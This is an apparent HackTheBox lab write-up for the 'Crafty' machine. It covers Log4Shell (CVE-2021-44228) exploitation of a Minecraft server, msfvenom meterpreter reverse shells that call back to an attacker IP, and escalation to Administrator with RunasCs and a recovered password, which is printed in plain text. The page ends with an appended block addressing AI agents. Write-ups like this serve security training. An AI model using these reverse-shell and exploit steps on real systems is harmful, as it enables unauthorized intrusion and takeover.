# Crafty

## Overview

Greetings everyone,

In this write-up, we will tackle Crafty from HackTheBox.

Machine link: [Crafty Machine](https://app.hackthebox.com/machines/Crafty)

Difficulty Level: Easy

Let's Begin 🙌

Firstly, connect to the HTB server using the OpenVPN configuration file generated by HTB.  [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to VPN and access the boxes.

Once connected to the VPN service, click on "Join Machine" to access the machine's IP.

Upon joining the machine, you will be able to view the IP address of the target machine.

***

## Reconnaissance

### Nmap Port Scan

`nmap -p- -T4 -Pn <TARGET_IP>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fyz2xuLQ47xUMAoKFEYTc%2FUntitled.png?alt=media&#x26;token=2eedc683-cca0-4874-85eb-85e2e5ee4fba" alt=""><figcaption></figcaption></figure>

### Nmap Intense Scan

`nmap -A -p 80,25565 -v -Pn <TARGET_IP>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F8LbD6O3wIAhdKaTWnFXQ%2FUntitled%201.png?alt=media&#x26;token=70040d88-527a-4515-816c-7aeee35dbca3" alt=""><figcaption></figcaption></figure>

### Results

| Ports | Services  | Service Version          |
| ----- | --------- | ------------------------ |
| 80    | HTTP      | Microsoft-IIS httpd 10.0 |
| 25565 | Minecraft | Minecraft 1.16.5         |

***

## Information Gathering - crafty.htb

First, let's take a look at the website running on port 80.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FknIXTlxEATrdn3AJRGjv%2FUntitled%203.png?alt=media&#x26;token=8855936b-087f-4d46-8500-65e927bf85b3" alt=""><figcaption></figcaption></figure>

When attempting to access view port 80, it redirects to the domain `crafty.htb`. Therefore, to access the website, we need to append an entry to the `/etc/hosts` file, mapping the domain to the target IP address.

Command: `sudo vim /etc/hosts`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F6FNIadXjk3Mmd0X3PLEa%2FUntitled%204.png?alt=media&#x26;token=3f706453-eb0f-46b4-b19d-d2a7e2edf3bc" alt=""><figcaption></figcaption></figure>

Now we have access to the website. I used `Wappalyzer` to check the technologies employed, but nothing of particular interest was discovered.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F2xAOHCJfXNvPqGZmQYT2%2FUntitled%205.png?alt=media&#x26;token=61cb94de-f48f-44c1-b4b1-814794c1628a" alt=""><figcaption></figcaption></figure>

A subdomain, `play.crafty.htb`, was mentioned on the website. To access it, append another entry to the `/etc/hosts` file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQoMHBvqWwMUtwTQZjhbA%2FUntitled%207.png?alt=media&#x26;token=267cdad7-2869-4136-aa11-9ab330c032ed" alt=""><figcaption></figcaption></figure>

However, upon attempting to access it, it redirected back to `crafty.htb`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FAG6JLzBWWajQTArWoSq4%2FUntitled%206.png?alt=media&#x26;token=1d104e84-a29a-4ae9-a1d4-7048818ac2a7" alt=""><figcaption></figcaption></figure>

### Subdomain Enumeration

`ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.crafty.htb/`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FirJatpyzgvszwAieci67%2FUntitled%2010.png?alt=media&#x26;token=8162d766-5fd8-4325-b5fe-9b6108450eec" alt=""><figcaption></figcaption></figure>

### VHOST Enumeration

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FyZeb1ZpgRKjgyZpFoCIX%2FUntitled%2011.png?alt=media&#x26;token=48ccfcd0-309c-454a-b3e3-5fdd81ce1b1d" alt=""><figcaption></figcaption></figure>

Indeed, it seems that there wasn't anything noteworthy discovered on the website.

***

## Information Gathering - Port 25565

### CVE-2021-44228

Next, I began the process of enumerating the Minecraft server running on port 25565. I conducted a Google search to identify potential vulnerabilities and exploits specifically targeting Minecraft server version 1.16.5. Here's what I found:

{% embed url="<https://nodecraft.com/blog/service-updates/minecraft-java-edition-security-vulnerability>" %}

CVE-2021-44228 is a security vulnerability in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability, also known as Log4Shell, allows attackers to execute malicious code remotely by exploiting a flaw in the library's JNDI (Java Naming and Directory Interface) lookup mechanism.

Based on the information provided in the article, it appears evident that the Minecraft Server running on the target is vulnerable to CVE-2021-44228, as it utilizes the Log4j library.

Next, I proceeded to search for exploits and proofs of concept (PoCs) for this vulnerability and came across the following:

{% embed url="<https://github.com/kozmer/log4j-shell-poc>" %}

## Initial Access

### Understanding the Attack

The script provided in the repository sets up an HTTP server and an LDAP server for you. Additionally, it generates a payload that you can insert into the Minecraft game or client.

When you paste the crafted payload into the Minecraft client, it connects back to the HTTP server hosted by the script. This server then references the exploit hosted by the LDAP server within the script. Upon successful execution of the exploit, a reverse shell is established, connecting back to a listener on your attacker machine. This process allows you to gain control over the target system.

### Setting up the Environment

I cloned the above mentioned repository using Git.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FJ8sNX9ZJPBv5CGOdfw13%2FUntitled%2012.png?alt=media&#x26;token=2b18b2d7-2fbe-4d8d-9fa9-03f1782283bc" alt=""><figcaption></figcaption></figure>

To set up the environment for the exploit to run, I first created a virtual environment using Python. Then, I installed the necessary dependencies mentioned in the `requirements.txt` file.

`python3 -m venv venv`

`source ./venv/bin/activate`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FR0iL90XpY2GjaMxDLVhW%2FUntitled%2013.png?alt=media&#x26;token=45a8fd46-b261-421a-b32e-be6e85b644cc" alt=""><figcaption></figcaption></figure>

Next, it's time to install the dependencies.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQfFWQ1v36jdvfyEcFfLV%2FUntitled%2014.png?alt=media&#x26;token=9f28349f-e63f-4064-96ea-23b128b29399" alt=""><figcaption></figcaption></figure>

To obtain the required Java SDK version as specified in the readme file of the repository, please follow the instructions provided in the repository's README file: [Getting the Java Version](https://github.com/kozmer/log4j-shell-poc?tab=readme-ov-file#getting-the-java-version).

Extract the downloaded file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F4pGDU3wdauVi8enlaf46%2FUntitled%2015.png?alt=media&#x26;token=c0683125-8d87-4f40-a952-7e321ec953de" alt=""><figcaption></figcaption></figure>

Check whether you have installed the SDK correctly, by veryfing its version.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FbFv6F8KGxP9LtqhiHg6e%2FUntitled%2016.png?alt=media&#x26;token=f856b0ad-4ad0-475c-8953-142735cf1f73" alt=""><figcaption></figcaption></figure>

Now, rename the sdk folder as mentioned in the repository.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FNG3nzdXKSQXwkod6jlZy%2FUntitled%2017.png?alt=media&#x26;token=d9d52a8c-78eb-4721-a4d3-38022c554680" alt=""><figcaption></figcaption></figure>

While examining the `poc.py` file to determine the required arguments for running the exploit, I noticed a variable named cmd with the value "`/bin/bash`" specified on line 26. It appears that the exploit was designed for a Linux target. However, since our target is a Windows machine (running Microsoft IIS server), we should modify the value to "`cmd.exe`" in order to obtain the shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQdpxbRfn5txDrp3qFDnt%2FUntitled%2018.png?alt=media&#x26;token=8a9c7925-d710-48bd-9581-64811da92f1a" alt=""><figcaption></figcaption></figure>

We have successfully set up the environment for the exploit to run.

### Setting up PyCraft

We require either the Minecraft game itself or a Minecraft client to connect to the Minecraft server running on the target. For this purpose, I've decided to utilize PyCraft, a Minecraft Python Client Library.

{% embed url="<https://github.com/ammaraskar/pyCraft>" %}

First clone the repository.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FX4BmPkElnLEjMp5trPod%2FUntitled%2020.png?alt=media&#x26;token=01130308-33a3-4389-a710-66902f6be690" alt=""><figcaption></figcaption></figure>

Next install the dependencies.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FgeVjI6caZOCRVcV3qhcV%2FUntitled%2021.png?alt=media&#x26;token=c478738c-a6ab-4036-a824-099f7092b93d" alt=""><figcaption></figcaption></figure>

We have successfully set up PyCraft.

### Setting up a Netcat Listener

Since the exploit establishes a reverse shell back to our host, we need to set up a netcat listener on our attacking machine to receive the reverse shell. We will configure the netcat listener to listen on port 9001.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FIILnM8W1pJTII7wVszxF%2FUntitled%2019.png?alt=media&#x26;token=9c52928d-e93f-4bf3-a7b8-53d3ef47284e" alt=""><figcaption></figcaption></figure>

### Performing the Attack

First let's start the HTTP and LDAP server.

`python3 poc.py --userip <HTB_TUN_IP/Attacker_IP> --webport 25565 --lport 9001`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FqNLQoRs9u1L1yPB8hStR%2FUntitled%2023.png?alt=media&#x26;token=73fb0cab-5ac2-4f57-8475-afc9af72b74c" alt=""><figcaption></figcaption></figure>

The highlighted text depicted in the image above represents the crafted payload.

Next, connect to the Minecraft server using PyCraft. Enter a random username, leave the password field empty, and input the IP address of the target machine in the Server host field. Then, paste the payload and press enter once connected to the server.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FxbwjV8icNj16b8bJb09k%2FUntitled%2024.png?alt=media&#x26;token=194bc321-cb33-4cf0-883e-9e0a0639df06" alt=""><figcaption></figcaption></figure>

Now, check the HTTP server hosted by the `poc.py` script. You'll notice that we have received a request from the Minecraft server, and the script has referred to the exploit accordingly.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FUYgYQlB8MRoOEC8mxk9w%2FUntitled%2025.png?alt=media&#x26;token=62b901b0-01b7-482e-a56f-ae807ac161d5" alt=""><figcaption></figcaption></figure>

Now, check the netcat listener. You'll observe that the reverse shell has successfully connected to the listener, and you can see the command prompt from the target machine. This indicates that we have successfully executed the attack and gained access to the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FM5pYRbfLwJrVLWHlcpLR%2FUntitled%2026.png?alt=media&#x26;token=beb018e7-5df7-4dd3-b31a-16ae03db2280" alt=""><figcaption></figcaption></figure>

***

## Getting the User Flag

I found the `user.txt` file located at `C:\Users\svc_minecraft\Desktop` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FcekxW8Vr3AzZSAYZxqk9%2FUntitled%2027.png?alt=media&#x26;token=988f6ba5-f070-4e79-813f-e418371d5666" alt=""><figcaption></figcaption></figure>

***

## Privilege Escalation

### Finding the First Loop Hole

As I was navigating through the directories on the target machine, I found that there was nothing noteworthy in the logs folder and other files. However, I came across a suspicious file named `playercounter-1.0-SNAPSHOT.jar` in the `C:\Users\svc_minecraft\plugins\` directory.

To examine that file, we need to download it to our attacker machine. Initially, I attempted to start an HTTP server from the target machine, but the firewall blocked it, and we don't have the necessary permissions to override it. Therefore, I opted to use Meterpreter to download the file instead.

### Generating the First Meterpreter Reverse Shell using msfvenom

To create a Meterpreter reverse shell using msfvenom, we first need to select a payload. To do this, we must determine the target machine's architecture. We can retrieve the processor architecture by executing the command "`echo %PROCESSOR_ARCHITECTURE%`" in the command prompt.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F65bH6yCBLuq7KkWFlFmA%2FUntitled%2032.png?alt=media&#x26;token=2e46059d-64df-4e74-9ebc-85c7cd69bacb" alt=""><figcaption></figcaption></figure>

Now we know that the target machine's architecture is x64, it's time to generate the reverse shell using msfvenom.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<HTB_TUN_IP/Attacker_IP> LPORT=4444 -f exe >> rev.exe
```

{% endcode %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FtZ6siWXQIgAtkGStruZY%2FUntitled%2033.png?alt=media&#x26;token=28b578ef-3c42-4aad-8ccd-57049cea9b10" alt=""><figcaption></figcaption></figure>

We have successfully created the reverse shell.

### Setting up msfconsole

To set up a listener for the reverse shell to connect back, open msfconsole and enter the following commands:

```bash
use exploit/multi/handler
set lhost <HTB_TUN_IP/Attacker_IP>
set payload windows/x64/meterpreter/reverse_tcp
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F4qq731MIpQhnxPiJpr8j%2FUntitled%2037.png?alt=media&#x26;token=b2ab5357-8c28-4334-9160-251e103d3bde" alt=""><figcaption></figcaption></figure>

Now its time to start the listener.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FwUoo4kHbAJcr86HkiE1R%2FUntitled%2038.png?alt=media&#x26;token=46fbd548-4f02-4372-a60c-ea50a7409d9b" alt=""><figcaption></figcaption></figure>

### Sending the First Reverse Shell to Target

Let's create a simple http python server to transfer the reverse shell from out attacker machine to the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQgwBWSsuwwI07WvwYNXV%2FUntitled%2034.png?alt=media&#x26;token=1da94b52-00b0-407f-a897-40dd4cebb53f" alt=""><figcaption></figcaption></figure>

While in the shell of the target machine, switch to PowerShell using the command "`powershell`", then type the following command to download the reverse shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FG7jg3ZlF9h62EQpjBQfC%2FUntitled%2035.png?alt=media&#x26;token=481cc7ad-7ed4-469b-888b-0c0259e83ff5" alt=""><figcaption></figcaption></figure>

You can see that we have successfully transferred the reverse shell to the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FFV2MXXG6O3LrXOviKL76%2FUntitled%2036.png?alt=media&#x26;token=494d3536-dfc0-4bdb-a23c-929ef81df447" alt=""><figcaption></figcaption></figure>

### Executing the Reverse Shell

Now its time to execute the reverse shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FaRIFCw9cU3EuV2Im6x9f%2FUntitled%2039.png?alt=media&#x26;token=580c1c8c-a0e0-4964-8254-7c4c84d099dc" alt=""><figcaption></figcaption></figure>

Check the listener in msfconsole. You can see the meterpreter session.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FNeBpBFGLkOR0nIIquTL7%2FUntitled%2040.png?alt=media&#x26;token=e0c4d18a-0487-4475-8beb-fb689f7b0e14" alt=""><figcaption></figcaption></figure>

Now switch the plugins directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F5Ccswda04CVy3zl7zaiE%2FUntitled%2041.png?alt=media&#x26;token=9c64d977-2d2c-43d9-b5ad-796efd65e8bb" alt=""><figcaption></figcaption></figure>

Use the `download` command to download the jar file from the target machine.

```bash
download C:\\users\\svc_minecraft\\server\\plugins\\playercounter-1.0-SNAPSHOT.jar
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FMIIuzeY5bWoDcNywAxJS%2FUntitled%2042.png?alt=media&#x26;token=077181d8-1ff8-47a6-a4d3-32932888a96e" alt=""><figcaption></figcaption></figure>

Now we have successfully downloaded the file to our attacker machine.

### Finding the Second Loop Hole

To view the contents of the JAR file, we require a Java decompiler. Jadx-GUI is one of the recommended decompilers available.

{% embed url="<https://github.com/skylot/jadx>" %}

Clone the mentioned repository.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FWPtbqJAbA2J21OKNBOFP%2FUntitled%2043.png?alt=media&#x26;token=9ca6d72c-b047-41e7-bcd1-28f363c1bfc3" alt=""><figcaption></figcaption></figure>

Now build the JADX-GUI tool.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FIZrfXouFpOULe2XJITbX%2FUntitled%2044.png?alt=media&#x26;token=54c806b5-548a-43e2-a023-616b19f21147" alt=""><figcaption></figcaption></figure>

After the build process is complete, navigate to the `build/jadx/bin` directory and run the JADX-GUI application.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FGYYsGnMZcJhx7ewBOYkk%2FUntitled%2045.png?alt=media&#x26;token=a3700561-fbaa-4c89-a4d9-47826659e605" alt=""><figcaption></figcaption></figure>

Now open the jar file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FkV3B7qSldifvDyHUon8E%2FUntitled%2046.png?alt=media&#x26;token=31801a6a-de9e-42de-b96f-9a7fce553aba" alt=""><figcaption></figcaption></figure>

After inspecting the contents and code of the JAR file, I came across a string that appears to resemble a password.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FTx1VAyfSKCnJS5diuEZv%2FUntitled%2047.png?alt=media&#x26;token=118e153f-3e42-4c5a-b900-a072f5e8bb3f" alt=""><figcaption></figcaption></figure>

The password we found might be the Administrator's password.

### Finding a Way to Break Through

Since we've obtained the Administrator's password (albeit through a guess), we can attempt to escalate our privileges using common Windows privilege escalation techniques. One such method involves utilizing the built-in `runas` command in Windows, which is somewhat equivalent to the `sudo` command in Linux, allowing us to run processes with elevated privileges.

To know more:

{% embed url="<https://juggernaut-sec.com/runas/>" %}

In this scenario, I will utilize the RunasCs tool, an improved version of the default Windows runas.exe program.

{% embed url="<https://github.com/antonioCoco/RunasCs>" %}

You can download the latest version of RunasCs from here: <https://github.com/antonioCoco/RunasCs/releases>

Our objective is to leverage the RunasCs tool to execute a reverse shell as Administrator, utilizing the password we discovered.

### Generating the Second Reverse Shell

We can employ the same reverse shell that we've previously uploaded to the target machine. However, I've created a new reverse shell on a different port to ensure that the previous session remains undisturbed for backup.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<HTB_TUN_IP/Attacker_IP> LPORT=4445 -f exe >> rev2.exe
```

{% endcode %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F1dPtZ1y17RcYcmUxdhto%2FUntitled%2048.png?alt=media&#x26;token=8c4f7da5-04fb-430d-bcbf-bf346511fd80" alt=""><figcaption></figcaption></figure>

### Setting up the Second Listener

Now, set up the second listener in another terminal within msfconsole.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F2sZlQaPZ5Q598BfjJHIr%2FUntitled%2049.png?alt=media&#x26;token=8734cd21-4b55-4851-8835-2f38f5f4cb94" alt=""><figcaption></figcaption></figure>

### Uploading the RunasCs.exe and the Second Reverse Shell

Now, it's time to upload the RunasCs.exe and the second reverse shell to the target machine using the previously obtained Meterpreter shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F82hQtC0WrOGOSvCTdDgo%2FUntitled%2050.png?alt=media&#x26;token=8fe9be03-9d99-4ac4-9929-ab4ec2afc7cb" alt=""><figcaption></figcaption></figure>

### Executing the Second Reverse Shell with Elevated Privileges

Type the command "`shell`" to open the command prompt from the Meterpreter session, then execute the RunasCs.exe application to run the reverse shell with elevated privileges.

```powershell
.\RunasCs.exe Administrator s67u84zKq8IXw rev2.exe
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FqEflBbzEW9jwfHFHAiy0%2FUntitled%2051.png?alt=media&#x26;token=7ff6888a-231d-4ed9-a747-228c5caf5f46" alt=""><figcaption></figcaption></figure>

Now, check the second Meterpreter session for the reverse shell with elevated privileges.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FLGxVbXq1fiklnIrsN88Q%2FUntitled%2052.png?alt=media&#x26;token=be3cb572-ccf0-4f51-a548-045f8127bb88" alt=""><figcaption></figcaption></figure>

***

## Getting the Root Flag

You can get the root flag at `C:\Users\Administrator\Desktop` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FjNP4CCbpn3IBYADNGJjG%2FUntitled%2053.png?alt=media&#x26;token=4a3b090a-b22e-4e9a-9d75-ffc3f3fa92b1" alt=""><figcaption></figcaption></figure>

We have successfully obtained the user and root flag.

Thank You.....


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://thamizhiniyancs.gitbook.io/writeups/hackthebox/machines/easy/crafty.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
